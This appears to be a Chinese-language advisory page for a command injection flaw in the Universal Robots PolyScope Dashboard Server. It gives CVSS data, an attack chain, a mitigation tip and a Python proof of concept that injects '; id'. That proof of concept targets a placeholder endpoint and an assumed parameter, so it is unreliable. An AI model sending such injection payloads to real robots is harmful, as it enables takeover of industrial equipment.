CVE-2026-8153 Universal Robots PolyScope OS命令注入漏洞

漏洞信息

漏洞编号

CVE-2026-8153

漏洞类型

操作系统命令注入

CVSS评分

9.8 严重

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

Universal Robots PolyScope

漏洞概述

Universal Robots PolyScope 5.25.1之前的版本中存在操作系统命令注入漏洞。该漏洞位于Dashboard Server接口中，由于未对用户输入进行严格过滤，未经身份验证的远程攻击者可利用此漏洞精心构造恶意命令。成功利用后，攻击者能够在机器人底层操作系统上执行任意代码，从而完全控制设备，造成严重的安全风险。

技术细节

该漏洞的核心原理在于Dashboard Server接口在处理特定请求参数时，直接将用户可控的数据拼接至系统Shell命令中执行，未经过任何消毒或转义处理。攻击者可以通过网络向量（AV:N）向目标发送特制的HTTP请求或数据包。由于无需认证（PR:N）且无需用户交互（UI:N），攻击者可轻易利用Shell元字符（如;、|、&）绕过原有命令逻辑，注入并执行恶意的操作系统命令。这导致攻击者获得系统级权限，影响机密性、完整性和可用性（C:H/I:H/A:H）。

攻击链分析

STEP 1

1. 信息收集

攻击者扫描网络，寻找开放了Universal Robots PolyScope Dashboard Server接口（默认端口29999或HTTP端口）的目标设备。

STEP 2

2. 漏洞利用

攻击者向Dashboard Server的特定接口发送特制的数据包或HTTP请求，其中包含用于OS命令注入的恶意Payload（如分号拼接系统命令）。

STEP 3

3. 命令执行

目标服务器解析请求，未能过滤特殊字符，将恶意参数传递给Shell执行，从而在机器人OS上运行攻击者的任意代码。

STEP 4

4. 权限维持与控制

攻击者利用执行的高权限命令，进一步建立后门、窃取数据或破坏机器人功能，完全控制工业设备。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

#!/usr/bin/env python3
# PoC for CVE-2026-8153
import requests
import sys

def exploit(target_ip):
    # Targeting the Dashboard Server interface
    # Note: The specific vulnerable endpoint might vary based on configuration
    url = f"http://{target_ip}:29999/vulnerable-endpoint"
    
    # Payload to execute a simple command (e.g., id)
    # Assuming the 'cmd' parameter is vulnerable to injection
    injection_payload = "; id" 
    
    try:
        print(f"[+] Sending payload to {url}...")
        response = requests.get(url, params={"cmd": injection_payload}, timeout=5)
        
        if response.status_code == 200:
            print("[+] Request sent successfully. Check response for command execution output.")
            print(response.text)
        else:
            print("[-] Exploit request failed.")
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: python {sys.argv[0]} <target_ip>")
    else:
        exploit(sys.argv[1])

影响范围

Universal Robots PolyScope < 5.25.1

防御指南

临时缓解措施

如果无法立即升级，建议通过网络ACL（访问控制列表）阻断外部对Dashboard Server端口（通常为29999）的访问，并将其部署在隔离的VLAN中，以减少被远程攻击的风险。